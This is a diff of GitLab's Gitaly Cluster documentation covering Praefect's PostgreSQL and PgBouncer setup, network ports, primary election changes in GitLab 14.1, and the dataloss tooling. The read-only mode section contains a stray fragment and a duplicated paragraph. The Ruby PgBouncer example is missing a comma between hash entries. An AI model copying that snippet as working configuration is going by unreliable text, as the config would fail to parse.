+with Omnibus GitLab and use it to configure the PostgreSQL database. You can use an
+external PostgreSQL server (version 11 or newer) but you must set it up [manually](#manual-database-setup).
-Prepare all your new nodes by [installing
-GitLab](https://about.gitlab.com/install/).
+Prepare all your new nodes by [installing GitLab](https://about.gitlab.com/install/). You need:
+- 1 PostgreSQL node
+- 1 PgBouncer node (optional)
- At least 1 Praefect node (minimal storage required)
- 3 Gitaly nodes (high CPU, high memory, fast storage)
- 1 GitLab server
-You need the IP/host address for each node.
+You also need the IP/host address for each node:
-1. `LOAD_BALANCER_SERVER_ADDRESS`: the IP/host address of the load balancer
-1. `POSTGRESQL_SERVER_ADDRESS`: the IP/host address of the PostgreSQL server
+1. `PRAEFECT_LOADBALANCER_HOST`: the IP/host address of Praefect load balancer
+1. `POSTGRESQL_HOST`: the IP/host address of the PostgreSQL server
+1. `PGBOUNCER_HOST`: the IP/host address of the PostgreSQL server
1. `PRAEFECT_HOST`: the IP/host address of the Praefect server
1. `GITALY_HOST_*`: the IP or host address of each Gitaly server
1. `GITLAB_HOST`: the IP/host address of the GitLab server
-If you are using a cloud provider, you can look up the addresses for each server through your cloud provider's management console.
-
If you are using Google Cloud Platform, SoftLayer, or any other vendor that provides a virtual private cloud (VPC) you can use the private addresses for each cloud instance (corresponds to "internal address" for Google Cloud Platform) for `PRAEFECT_HOST`, `GITALY_HOST_*`, and `GITLAB_HOST`.
#### Secrets
@@ -98,6 +100,14 @@ with secure tokens as you complete the setup process.
Praefect cluster directly; that could lead to data loss.
1. `PRAEFECT_SQL_PASSWORD`: this password is used by Praefect to connect to
PostgreSQL.
+1. `PRAEFECT_SQL_PASSWORD_HASH`: the hash of password of the Praefect user.
+ Use `gitlab-ctl pg-password-md5 praefect` to generate the hash. The command
+ asks for the password for `praefect` user. Enter `PRAEFECT_SQL_PASSWORD`
+ plaintext password. By default, Praefect uses `praefect` user, but you can
+ change it.
+1. `PGBOUNCER_SQL_PASSWORD_HASH`: the hash of password of the PgBouncer user.
+ PgBouncer uses this password to connect to PostgreSQL. For more details
+ see [bundled PgBouncer](../postgresql/pgbouncer.md) documentation.
We note in the instructions below where these secrets are required.
@@ -108,127 +118,210 @@ Omnibus GitLab installations can use `gitlab-secrets.json` for `GITLAB_SHELL_SEC
NOTE:
Do not store the GitLab application database and the Praefect
-database on the same PostgreSQL server if using
-[Geo](../geo/index.md). The replication state is internal to each instance
-of GitLab and should not be replicated.
+database on the same PostgreSQL server if using [Geo](../geo/index.md).
+The replication state is internal to each instance of GitLab and should
+not be replicated.
These instructions help set up a single PostgreSQL database, which creates a single point of
-failure. The following options are available:
+failure. Alternatively, [you can use PostgreSQL replication and failover](../postgresql/replication_and_failover.md).
+
+The following options are available:
- For non-Geo installations, either:
- Use one of the documented [PostgreSQL setups](../postgresql/index.md).
- - Use your own third-party database setup, if fault tolerance is required.
+ - Use your own third-party database setup. This will require [manual setup](#manual-database-setup).
- For Geo instances, either:
- Set up a separate [PostgreSQL instance](https://www.postgresql.org/docs/11/high-availability.html).
- Use a cloud-managed PostgreSQL service. AWS
[Relational Database Service](https://aws.amazon.com/rds/) is recommended.
-To complete this section you need:
+#### Manual database setup
-- 1 Praefect node
-- 1 PostgreSQL server (PostgreSQL 11 or newer)
- - An SQL user with permissions to create databases
+To complete this section you need:
-During this section, we configure the PostgreSQL server, from the Praefect
-node, using `psql` which is installed by Omnibus GitLab.
+- One Praefect node
+- One PostgreSQL node (version 11 or newer)
+ - A PostgreSQL user with permissions to manage the database server
-1. SSH into the **Praefect** node and login as root:
+In this section, we configure the PostgreSQL database. This can be used for both external
+and Omnibus-provided PostgreSQL server.
- ```shell
- sudo -i
- ```
+To run the following instructions, you can use the Praefect node, where `psql` is installed
+by Omnibus GitLab (`/opt/gitlab/embedded/bin/psql`). If you are using the Omnibus-provided
+PostgreSQL you can use `gitlab-psql` on the PostgreSQL node instead:
-1. Connect to the PostgreSQL server with administrative access. This is likely
- the `postgres` user. The database `template1` is used because it is created
- by default on all PostgreSQL servers.
+1. Create a new user `praefect` to be used by Praefect:
- ```shell
- /opt/gitlab/embedded/bin/psql -U postgres -d template1 -h POSTGRESQL_SERVER_ADDRESS
+ ```sql
+ CREATE ROLE praefect WITH LOGIN PASSWORD 'PRAEFECT_SQL_PASSWORD';
```
- Create a new user `praefect` to be used by Praefect. Replace
- `PRAEFECT_SQL_PASSWORD` with the strong password you generated in the
- preparation step.
+ Replace `PRAEFECT_SQL_PASSWORD` with the strong password you generated in the preparation step.
+
+1. Create a new database `praefect_production` that is owned by `praefect` user.
```sql
- CREATE ROLE praefect WITH LOGIN CREATEDB PASSWORD 'PRAEFECT_SQL_PASSWORD';
+ CREATE DATABASE praefect_production WITH OWNER praefect ENCODING UTF8;
```
-1. Reconnect to the PostgreSQL server, this time as the `praefect` user:
+For using Omnibus-provided PgBouncer you need to take the following additional steps. We strongly
+recommend using the PostgreSQL that is shipped with Omnibus as the backend. The following
+instructions only work on Omnibus-provided PostgreSQL:
- ```shell
- /opt/gitlab/embedded/bin/psql -U praefect -d template1 -h POSTGRESQL_SERVER_ADDRESS
+1. For Omnibus-provided PgBouncer, you need to use the hash of `praefect` user instead the of the
+ actual password:
+
+ ```sql
+ ALTER ROLE praefect WITH PASSWORD 'md5<PRAEFECT_SQL_PASSWORD_HASH>';
```
- Create a new database `praefect_production`. By creating the database while
- connected as the `praefect` user, we are confident they have access.
+ Replace `<PRAEFECT_SQL_PASSWORD_HASH>` with the hash of the password you generated in the
+ preparation step. Note that it is prefixed with `md5` literal.
+
+1. The PgBouncer that is shipped with Omnibus is configured to use [`auth_query`](https://www.pgbouncer.org/config.html#generic-settings)
+ and uses `pg_shadow_lookup` function. You need to create this function in `praefect_production`
+ database:
```sql
- CREATE DATABASE praefect_production WITH ENCODING=UTF8;
+ CREATE OR REPLACE FUNCTION public.pg_shadow_lookup(in i_username text, out username text, out password text) RETURNS record AS $$
+ BEGIN
+ SELECT usename, passwd FROM pg_catalog.pg_shadow
+ WHERE usename = i_username INTO username, password;
+ RETURN;
+ END;
+ $$ LANGUAGE plpgsql SECURITY DEFINER;
+
+ REVOKE ALL ON FUNCTION public.pg_shadow_lookup(text) FROM public, pgbouncer;
+ GRANT EXECUTE ON FUNCTION public.pg_shadow_lookup(text) TO pgbouncer;
```
The database used by Praefect is now configured.
If you see Praefect database errors after configuring PostgreSQL, see
-[troubleshooting steps](index.md#relation-does-not-exist-errors).
+[troubleshooting steps](troubleshooting.md#relation-does-not-exist-errors).
-#### PgBouncer
+#### Use PgBouncer
To reduce PostgreSQL resource consumption, we recommend setting up and configuring
[PgBouncer](https://www.pgbouncer.org/) in front of the PostgreSQL instance. To do
-this, set the corresponding IP or host address of the PgBouncer instance in
-`/etc/gitlab/gitlab.rb` by changing the following settings:
+this, you must point Praefect to PgBouncer by setting Praefect database parameters:
-- `praefect['database_host']`, for the address.
-- `praefect['database_port']`, for the port.
+```ruby
+praefect['database_host'] = PGBOUNCER_HOST
+praefect['database_port'] = 6432
+praefect['database_user'] = 'praefect'
+praefect['database_password'] = PRAEFECT_SQL_PASSWORD
+praefect['database_dbname'] = 'praefect_production'
+#praefect['database_sslmode'] = '...'
+#praefect['database_sslcert'] = '...'
+#praefect['database_sslkey'] = '...'
+#praefect['database_sslrootcert'] = '...'
+```
-Because PgBouncer manages resources more efficiently, Praefect still requires a
-direct connection to the PostgreSQL database. It uses the
-[LISTEN](https://www.postgresql.org/docs/11/sql-listen.html)
-feature that is [not supported](https://www.pgbouncer.org/features.html) by
-PgBouncer with `pool_mode = transaction`.
-Set `praefect['database_host_no_proxy']` and `praefect['database_port_no_proxy']`
-to a direct connection, and not a PgBouncer connection.
+Praefect requires an additional connection to the PostgreSQL that supports the
+[LISTEN](https://www.postgresql.org/docs/11/sql-listen.html) feature. With PgBouncer
+this feature is only available with `session` pool mode (`pool_mode = session`).
+It is not supported in `transaction` pool mode (`pool_mode = transaction`).
-Save the changes to `/etc/gitlab/gitlab.rb` and
-[reconfigure Praefect](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+For the additional connection, you must either:
-This documentation doesn't provide PgBouncer installation instructions,
-but you can:
+- Connect Praefect directly to PostgreSQL and bypass PgBouncer.
+- Configure a new PgBouncer database that uses to the same PostgreSQL database endpoint,
+ but with different pool mode. That is, `pool_mode = session`.
-- Find instructions on the [official website](https://www.pgbouncer.org/install.html).
-- Use a [Docker image](https://hub.docker.com/r/edoburu/pgbouncer/).
+Praefect can be configured to use different connection parameters for direct access
+to PostgreSQL. This is the connection that supports the `LISTEN` feature.
-In addition to the base PgBouncer configuration options, set the following values in
-your `pgbouncer.ini` file:
+Here is an example of Praefect that bypasses PgBouncer and directly connects to PostgreSQL:
-- The [Praefect PostgreSQL database](#postgresql) in the `[databases]` section:
+```ruby
+praefect['database_direct_host'] = POSTGRESQL_HOST
+praefect['database_direct_port'] = 5432
+
+# Use the following to override parameters of direct database connection.
+# Comment out where the parameters are the same for both connections.
+
+praefect['database_direct_user'] = 'praefect'
+praefect['database_direct_password'] = PRAEFECT_SQL_PASSWORD
+praefect['database_direct_dbname'] = 'praefect_production'
+#praefect['database_direct_sslmode'] = '...'
+#praefect['database_direct_sslcert'] = '...'
+#praefect['database_direct_sslkey'] = '...'
+#praefect['database_direct_sslrootcert'] = '...'
+```
- ```ini
- [databases]
- * = host=POSTGRESQL_SERVER_ADDRESS port=5432 auth_user=praefect
- ```
+We recommend using PgBouncer with `session` pool mode instead. You can use the [bundled
+PgBouncer](../postgresql/pgbouncer.md) or use an external PgBouncer and [configure it
+manually](https://www.pgbouncer.org/config.html).
-- [`pool_mode`](https://www.pgbouncer.org/config.html#pool_mode)
- and [`ignore_startup_parameters`](https://www.pgbouncer.org/config.html#ignore_startup_parameters)
- in the `[pgbouncer]` section:
+The following example uses the bundled PgBouncer and sets up two separate connection pools,
+one in `session` pool mode and the other in `transaction` pool mode. For this example to work,
+you need to prepare PostgreSQL server with [setup instruction](#manual-database-setup):
- ```ini
- [pgbouncer]
- pool_mode = transaction
- ignore_startup_parameters = extra_float_digits
- ```
+```ruby
+pgbouncer['databases'] = {
+ # Other database configuation including gitlabhq_production
+ ...
+
+ praefect_production: {
+ host: POSTGRESQL_HOST,
+ # Use `pgbouncer` user to connect to database backend.
+ user: 'pgbouncer',
+ password: PGBOUNCER_SQL_PASSWORD_HASH,
+ pool_mode: 'transaction'
+ }
+ praefect_production_direct: {
+ host: POSTGRESQL_HOST,
+ # Use `pgbouncer` user to connect to database backend.
+ user: 'pgbouncer',
+ password: PGBOUNCER_SQL_PASSWORD_HASH,
+ dbname: 'praefect_production',
+ pool_mode: 'session'
+ },
+
+ ...
+}
+```
+
+Both `praefect_production` and `praefect_production_direct` use the same database endpoint
+(`praefect_production`), but with different pool modes. This translates to the following
+`databases` section of PgBouncer:
-The `praefect` user and its password should be included in the file (default is
-`userlist.txt`) used by PgBouncer if the [`auth_file`](https://www.pgbouncer.org/config.html#auth_file)
-configuration option is set.
+```ini
+[databases]
+praefect_production = host=POSTGRESQL_HOST auth_user=pgbouncer pool_mode=transaction
+praefect_production_direct = host=POSTGRESQL_HOST auth_user=pgbouncer dbname=praefect_production pool_mode=session
+```
+
+Now you can configure Praefect to use PgBouncer for both connections:
+
+```ruby
+praefect['database_host'] = PGBOUNCER_HOST
+praefect['database_port'] = 6432
+praefect['database_user'] = 'praefect'
+# `PRAEFECT_SQL_PASSWORD` is the plain-text password of
+# Praefect user. Not to be confused with `PRAEFECT_SQL_PASSWORD_HASH`.
+praefect['database_password'] = PRAEFECT_SQL_PASSWORD
+
+praefect['database_dbname'] = 'praefect_production'
+praefect['database_direct_dbname'] = 'praefect_production_direct'
+
+# There is no need to repeat the following. Parameters of direct
+# database connection will fall back to the values above.
+
+#praefect['database_direct_host'] = PGBOUNCER_HOST
+#praefect['database_direct_port'] = 6432
+#praefect['database_direct_user'] = 'praefect'
+#praefect['database_direct_password'] = PRAEFECT_SQL_PASSWORD
+```
+
+With this configuration, Praefect uses PgBouncer for both connection types.
NOTE:
-By default PgBouncer uses port `6432` to accept incoming
-connections. You can change it by setting the [`listen_port`](https://www.pgbouncer.org/config.html#listen_port)
-configuration option. We recommend setting it to the default port value (`5432`) used by
-PostgreSQL instances. Otherwise you should change the configuration parameter
-`praefect['database_port']` for each Praefect instance to the correct value.
+Omnibus GitLab handles the authentication requirements (using `auth_query`), but if you are preparing
+your databases manually and configuring an external PgBouncer, you must include `praefect` user and
+its password in the file used by PgBouncer. For example, `userlist.txt` if the [`auth_file`](https://www.pgbouncer.org/config.html#auth_file)
+configuration option is set. For more details, consult the PgBouncer documentation.
### Praefect
@@ -241,17 +334,10 @@ If there are multiple Praefect nodes:
To complete this section you need a [configured PostgreSQL server](#postgresql), including:
-- IP/host address (`POSTGRESQL_SERVER_ADDRESS`)
-- Password (`PRAEFECT_SQL_PASSWORD`)
-
Praefect should be run on a dedicated node. Do not run Praefect on the
application server, or a Gitaly node.
-1. SSH into the **Praefect** node and login as root:
-
- ```shell
- sudo -i
- ```
+On the **Praefect** node:
1. Disable all other services by editing `/etc/gitlab/gitlab.rb`:
@@ -295,22 +381,8 @@ application server, or a Gitaly node.
praefect['auth_token'] = 'PRAEFECT_EXTERNAL_TOKEN'
```
-1. Configure **Praefect** to connect to the PostgreSQL database by editing
- `/etc/gitlab/gitlab.rb`.
-
- You need to replace `POSTGRESQL_SERVER_ADDRESS` with the IP/host address
- of the database, and `PRAEFECT_SQL_PASSWORD` with the strong password set
- above.
-
- ```ruby
- praefect['database_host'] = 'POSTGRESQL_SERVER_ADDRESS'
- praefect['database_port'] = 5432
- praefect['database_user'] = 'praefect'
- praefect['database_password'] = 'PRAEFECT_SQL_PASSWORD'
- praefect['database_dbname'] = 'praefect_production'
- praefect['database_host_no_proxy'] = 'POSTGRESQL_SERVER_ADDRESS'
- praefect['database_port_no_proxy'] = 5432
- ```
+1. Configure **Praefect** to [connect to the PostgreSQL database](#postgresql). We
+ highly recommend using [PgBouncer](#use-pgbouncer) as well.
If you want to use a TLS client certificate, the options below can be used:
@@ -507,7 +579,7 @@ To configure Praefect with TLS:
```ruby
git_data_dirs({
"default" => {
- "gitaly_address" => 'tls://LOAD_BALANCER_SERVER_ADDRESS:2305',
+ "gitaly_address" => 'tls://PRAEFECT_LOADBALANCER_HOST:2305',
"gitaly_token" => 'PRAEFECT_EXTERNAL_TOKEN'
}
})
@@ -544,7 +616,7 @@ To configure Praefect with TLS:
repositories:
storages:
default:
- gitaly_address: tls://LOAD_BALANCER_SERVER_ADDRESS:3305
+ gitaly_address: tls://PRAEFECT_LOADBALANCER_HOST:3305
path: /some/local/path
```
@@ -817,7 +889,7 @@ Particular attention should be shown to:
You need to replace:
- - `LOAD_BALANCER_SERVER_ADDRESS` with the IP address or hostname of the load
+ - `PRAEFECT_LOADBALANCER_HOST` with the IP address or hostname of the load
balancer.
- `PRAEFECT_EXTERNAL_TOKEN` with the real secret
@@ -826,7 +898,7 @@ Particular attention should be shown to:
```ruby
git_data_dirs({
"default" => {
- "gitaly_address" => "tcp://LOAD_BALANCER_SERVER_ADDRESS:2305",
+ "gitaly_address" => "tcp://PRAEFECT_LOADBALANCER_HOST:2305",
"gitaly_token" => 'PRAEFECT_EXTERNAL_TOKEN'
}
})
@@ -926,7 +998,7 @@ For example:
git_data_dirs({
'default' => { 'gitaly_address' => 'tcp://old-gitaly.internal:8075' },
'cluster' => {
- 'gitaly_address' => 'tcp://<load_balancer_server_address>:2305',
+ 'gitaly_address' => 'tcp://<PRAEFECT_LOADBALANCER_HOST>:2305',
'gitaly_token' => '<praefect_external_token>'
}
})
@@ -981,6 +1053,26 @@ To get started quickly:
Congratulations! You've configured an observable fault-tolerant Praefect
cluster.
+## Network connectivity requirements
+
+Gitaly Cluster components need to communicate with each other over many routes.
+Your firewall rules must allow the following for Gitaly Cluster to function properly:
+
+| From | To | Default port / TLS port |
+|:-----------------------|:------------------------|:------------------------|
+| GitLab | Praefect load balancer | `2305` / `3305` |
+| Praefect load balancer | Praefect | `2305` / `3305` |
+| Praefect | Gitaly | `8075` / `9999` |
+| Gitaly | GitLab (internal API) | `80` / `443` |
+| Gitaly | Praefect load balancer | `2305` / `3305` |
+| Gitaly | Praefect | `2305` / `3305` |
+| Gitaly | Gitaly | `8075` / `9999` |
+
+NOTE:
+Gitaly does not directly connect to Praefect. However, requests from Gitaly to the Praefect
+load balancer may still be blocked unless firewalls on the Praefect nodes allow traffic from
+the Gitaly nodes.
+
## Distributed reads
> - Introduced in GitLab 13.1 in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga) with feature flag `gitaly_distributed_reads` set to disabled.
@@ -1147,24 +1239,30 @@ The `per_repository` election strategy solves this problem by electing a primary
repository. Combined with [configurable replication factors](#configure-replication-factor), you can
horizontally scale storage capacity and distribute write load across Gitaly nodes.
-Primary elections are run when:
+Primary elections are run:
-- Praefect starts up.
-- The cluster's consensus of a Gitaly node's health changes.
+- In GitLab 14.1 and later, lazily. This means that Praefect doesn't immediately elect
+ a new primary node if the current one is unhealthy. A new primary is elected if it is
+ necessary to serve a request while the current primary is unavailable.
+- In GitLab 13.12 to GitLab 14.0 when:
+ - Praefect starts up.
+ - The cluster's consensus of a Gitaly node's health changes.
-A Gitaly node is considered:
+A valid primary node candidate is a Gitaly node that:
-- Healthy if `>=50%` Praefect nodes have successfully health checked the Gitaly node in the
- previous ten seconds.
-- Unhealthy otherwise.
+- Is healthy. A Gitaly node is considered healthy if `>=50%` Praefect nodes have
+ successfully health checked the Gitaly node in the previous ten seconds.
+- Has a fully up to date copy of the repository.
-During an election run, Praefect elects a new primary Gitaly node for each repository that has
-an unhealthy primary Gitaly node. The election is made:
+If there are multiple primary node candidates, Praefect:
-- Randomly from healthy secondary Gitaly nodes that are the most up to date.
-- Only from Gitaly nodes assigned to the host repository.
+- Picks one of them randomly.
+- Prioritizes promoting a Gitaly node that is assigned to host the repository. If
+ there are no assigned Gitaly nodes to elect as the primary, Praefect may temporarily
+ elect an unassigned one. The unassigned primary is demoted in favor of an assigned
+ one when one becomes available.
-If there are no healthy secondary nodes for a repository:
+If there are no valid primary candidates for a repository:
- The unhealthy primary node is demoted and the repository is left without a primary node.
- Operations that require a primary node fail until a primary is successfully elected.
@@ -1212,7 +1310,7 @@ To migrate existing clusters:
- If downtime is unacceptable:
- 1. Determine which Gitaly node is [the current primary](index.md#determine-primary-gitaly-node).
+ 1. Determine which Gitaly node is [the current primary](troubleshooting.md#determine-primary-gitaly-node).
1. Comment out the secondary Gitaly nodes from the virtual storage's configuration in `/etc/gitlab/gitlab.rb`
on all Praefect nodes. This ensures there's only one Gitaly node configured, causing both of the election
@@ -1259,23 +1357,37 @@ Migrate to [repository-specific primary nodes](#repository-specific-primary-node
Gitaly Cluster recovers from a failing primary Gitaly node by promoting a healthy secondary as the
new primary.
-To minimize data loss, Gitaly Cluster:
+In GitLab 14.1 and later, Gitaly Cluster:
+
+- Elects a healthy secondary with a fully up to date copy of the repository as the new primary.
+- Repository becomes unavailable if there are no fully up to date copies of it on healthy secondaries.
+
+To minimize data loss in GitLab 13.0 to 14.0, Gitaly Cluster:
- Switches repositories that are outdated on the new primary to [read-only mode](#read-only-mode).
-- Elects the secondary with the least unreplicated writes from the primary to be the new primary.
- Because there can still be some unreplicated writes, [data loss can occur](#check-for-data-loss).
+- Elects the secondary with the least unreplicated writes from the primary to be the new
+ primary. Because there can still be some unreplicated writes,
+ [data loss can occur](#check-for-data-loss).
### Read-only mode
> - Introduced in GitLab 13.0 as [generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga).
> - Between GitLab 13.0 and GitLab 13.2, read-only mode applied to the whole virtual storage and occurred whenever failover occurred.
> - [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitaly/-/issues/2862), read-only mode applies on a per-repository basis and only occurs if a new primary is out of date.
+new primary. If the failed primary contained unreplicated writes, [data loss can occur](#check-for-data-loss).
+> - Removed in GitLab 14.1. Instead, repositories [become unavailable](#unavailable-repositories).
+
+In GitLab 13.0 to 14.0, when Gitaly Cluster switches to a new primary, repositories enter
+read-only mode if they are out of date. This can happen after failing over to an outdated
+secondary. Read-only mode eases data recovery efforts by preventing writes that may conflict
+with the unreplicated writes on other nodes.
-When Gitaly Cluster switches to a new primary, repositories enter read-only mode if they are out of
-date. This can happen after failing over to an outdated secondary. Read-only mode eases data
-recovery efforts by preventing writes that may conflict with the unreplicated writes on other nodes.
+When Gitaly Cluster switches to a new primary In GitLab 13.0 to 14.0, repositories enter
+read-only mode if they are out of date. This can happen after failing over to an outdated
+secondary. Read-only mode eases data recovery efforts by preventing writes that may conflict
+with the unreplicated writes on other nodes.
-To enable writes again, an administrator can:
+To enable writes again in GitLab 13.0 to 14.0, an administrator can:
1. [Check](#check-for-data-loss) for data loss.
1. Attempt to [recover](#data-recovery) missing data.
@@ -1283,21 +1395,38 @@ To enable writes again, an administrator can:
[accept data loss](#enable-writes-or-accept-data-loss) if necessary, depending on the version of
GitLab.
+## Unavailable repositories
+
+> - From GitLab 13.0 through 14.0, repositories became read-only if they were outdated on the primary but fully up to date on a healthy secondary. `dataloss` sub-command displays read-only repositories by default through these versions.
+> - Since GitLab 14.1, Praefect contains more responsive failover logic which immediately fails over to one of the fully up to date secondaries rather than placing the repository in read-only mode. Since GitLab 14.1, the `dataloss` sub-command displays repositories which are unavailable due to having no fully up to date copies on healthy Gitaly nodes.
+
+A repository is unavailable if all of its up to date replicas are unavailable. Unavailable repositories are
+not accessible through Praefect to prevent serving stale data that may break automated tooling.
+
### Check for data loss
-The Praefect `dataloss` sub-command identifies replicas that are likely to be outdated. This can help
-identify potential data loss after a failover. The following parameters are
-available:
+The Praefect `dataloss` subcommand identifies:
+
+- Copies of repositories in GitLab 13.0 to GitLab 14.0 that at are likely to be outdated.
+ This can help identify potential data loss after a failover.
+- Repositories in GitLab 14.1 and later that are unavailable. This helps identify potential
+ data loss and repositories which are no longer accessible because all of their up-to-date
+ replicas copies are unavailable.
+
+The following parameters are available:
-- `-virtual-storage` that specifies which virtual storage to check. The default behavior is to
- display outdated replicas of read-only repositories as they might require administrator action.
-- In GitLab 13.3 and later, `-partially-replicated` that specifies whether to display a list of
- [outdated replicas of writable repositories](#outdated-replicas-of-writable-repositories).
+- `-virtual-storage` that specifies which virtual storage to check. Because they might require
+ an administrator to intervene, the default behavior is to display:
+ - In GitLab 13.0 to 14.0, copies of read-only repositories.
+ - In GitLab 14.1 and later, unavailable repositories.
+- In GitLab 14.1 and later, [`-partially-unavailable`](#unavailable-replicas-of-available-repositories)
+ that specifies whether to include in the output repositories that are available but have
+ some assigned copies that are not available.
NOTE:
`dataloss` is still in beta and the output format is subject to change.
-To check for repositories with outdated primaries, run:
+To check for repositories with outdated primaries or for unavailable repositories, run:
```shell
sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss [-virtual-storage <virtual-storage>]
@@ -1309,13 +1438,20 @@ Every configured virtual storage is checked if none is specified:
sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss
```
-Repositories which have assigned storage nodes that contain an outdated copy of the repository are listed
-in the output. This information is printed for each repository:
+Repositories are listed in the output that have either:
+
+- An outdated copy of the repository on the primary, in GitLab 13.0 to GitLab 14.0.
+- No healthy and fully up-to-date copies available, in GitLab 14.1 and later.
+
+The following information is printed for each repository:
- A repository's relative path to the storage directory identifies each repository and groups the related
information.
-- The repository's current status is printed in parentheses next to the disk path. If the repository's primary
- is outdated, the repository is in `read-only` mode and can't accept writes. Otherwise, the mode is `writable`.
+- The repository's current status is printed in parentheses next to the disk path:
+ - In GitLab 13.0 to 14.0, either `(read-only)` if the repository's primary node is outdated
+ and can't accept writes. Otherwise, `(writable)`.
+ - In GitLab 14.1 and later, `(unavailable)` is printed next to the disk path if the
+ repository is unavailable.
- The primary field lists the repository's current primary. If the repository has no primary, the field shows
`No Primary`.
- The In-Sync Storages lists replicas which have replicated the latest successful write and all writes
@@ -1325,44 +1461,51 @@ in the output. This information is printed for each repository:
is listed next to replica. It's important to notice that the outdated replicas may be fully up to date or contain
later changes but Praefect can't guarantee it.
-Whether a replica is assigned to host the repository is listed with each replica's status. `assigned host` is printed
-next to replicas which are assigned to store the repository. The text is omitted if the replica contains a copy of
-the repository but is not assigned to store the repository. Such replicas aren't kept in-sync by Praefect, but may
-act as replication sources to bring assigned replicas up to date.
+Additional information includes:
+
+- Whether a node is assigned to host the repository is listed with each node's status.
+ `assigned host` is printed next to nodes that are assigned to store the repository. The
+ text is omitted if the node contains a copy of the repository but is not assigned to store
+ the repository. Such copies aren't kept in sync by Praefect, but may act as replication
+ sources to bring assigned copies up to date.
+- In GitLab 14.1 and later, `unhealthy` is printed next to the copies that are located
+ on unhealthy Gitaly nodes.
Example output:
```shell
Virtual storage: default
Outdated repositories:
- @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git (read-only):
+ @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git (unavailable):
Primary: gitaly-1
In-Sync Storages:
- gitaly-2, assigned host
+ gitaly-2, assigned host, unhealthy
Outdated Storages:
gitaly-1 is behind by 3 changes or less, assigned host
gitaly-3 is behind by 3 changes or less
```
-A confirmation is printed out when every repository is writable. For example:
+A confirmation is printed out when every repository is available. For example:
```shell
Virtual storage: default
- All repositories are writable!
+ All repositories are available!
```
-#### Outdated replicas of writable repositories
+#### Unavailable replicas of available repositories
-> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/3019) in GitLab 13.3.
+NOTE:
+In GitLab 14.0 and earlier, the flag is `-partially-replicated` and the output shows any repositories with assigned nodes with outdated
+copies.
-To also list information of repositories whose primary is up to date but one or more assigned
-replicas are outdated, use the `-partially-replicated` flag.
+To also list information of repositories which are available but are unavailable from some of the assigned nodes,
+use the `-partially-unavailable` flag.
-A repository is writable if the primary has the latest changes. Secondaries might be temporarily
-outdated while they are waiting to replicate the latest changes.
+A repository is available if there is a healthy, up to date replica available. Some of the assigned secondary
+replicas may be temporarily unavailable for access while they are waiting to replicate the latest changes.
```shell
-sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss [-virtual-storage <virtual-storage>] [-partially-replicated]
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss [-virtual-storage <virtual-storage>] [-partially-unavailable]
```
Example output:
@@ -1370,7 +1513,7 @@ Example output:
```shell
Virtual storage: default
Outdated repositories:
- @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git (writable):
+ @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git:
Primary: gitaly-1
In-Sync Storages:
gitaly-1, assigned host
@@ -1379,14 +1522,14 @@ Virtual storage: default
gitaly-3 is behind by 3 changes or less
```
-With the `-partially-replicated` flag set, a confirmation is printed out if every assigned replica is fully up to
-date.
+With the `-partially-unavailable` flag set, a confirmation is printed out if every assigned replica is fully up to
+date and healthy.
For example:
```shell
Virtual storage: default
- All repositories are up to date!
+ All repositories are fully available on all assigned storages!
```
### Check repository checksums
@@ -1394,30 +1537,50 @@ Virtual storage: default
To check a project's repository checksums across on all Gitaly nodes, run the
[replicas Rake task](../raketasks/praefect.md#replica-checksums) on the main GitLab node.
+### Accept data loss
+
+WARNING:
+`accept-dataloss` causes permanent data loss by overwriting other versions of the repository. Data
+[recovery efforts](#data-recovery) must be performed before using it.
+
+If it is not possible to bring one of the up to date replicas back online, you may have to accept data
+loss. When accepting data loss, Praefect marks the chosen replica of the repository as the latest version
+and replicates it to the other assigned Gitaly nodes. This process overwrites any other version of the
+repository so care must be taken.
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml accept-dataloss
+-virtual-storage <virtual-storage> -repository <relative-path> -authoritative-storage <storage-name>
+```
+
### Enable writes or accept data loss
-Praefect provides the following sub-commands to re-enable writes:
+WARNING:
+`accept-dataloss` causes permanent data loss by overwriting other versions of the repository.
+Data [recovery efforts](#data-recovery) must be performed before using it.
-- In GitLab 13.2 and earlier, `enable-writes` to re-enable virtual storage for writes after data
- recovery attempts.
+Praefect provides the following subcommands to re-enable writes or accept data loss:
- ```shell
- sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml enable-writes -virtual-storage <virtual-storage>
- ```
+- In GitLab 13.2 and earlier, `enable-writes` to re-enable virtual storage for writes after
+ data recovery attempts:
-- [In GitLab 13.3](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/2415) and later,
- `accept-dataloss` to accept data loss and re-enable writes for repositories after data recovery
- attempts have failed. Accepting data loss causes current version of the repository on the
- authoritative storage to be considered latest. Other storages are brought up to date with the
- authoritative storage by scheduling replication jobs.
+ ```shell
+ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml enable-writes -virtual-storage <virtual-storage>
+ ```
+
+- In GitLab 13.3 and later, if it is not possible to bring one of the up to date nodes back
+ online, you may have to accept data loss:
```shell
sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml accept-dataloss -virtual-storage <virtual-storage> -repository <relative-path> -authoritative-storage <storage-name>
```
-WARNING:
-`accept-dataloss` causes permanent data loss by overwriting other versions of the repository. Data
-[recovery efforts](#data-recovery) must be performed before using it.
+ When accepting data loss, Praefect:
+
+ 1. Marks the chosen copy of the repository as the latest version.
+ 1. Replicates the copy to the other assigned Gitaly nodes.
+
+ This process overwrites any other copy of the repository so care must be taken.
## Data recovery
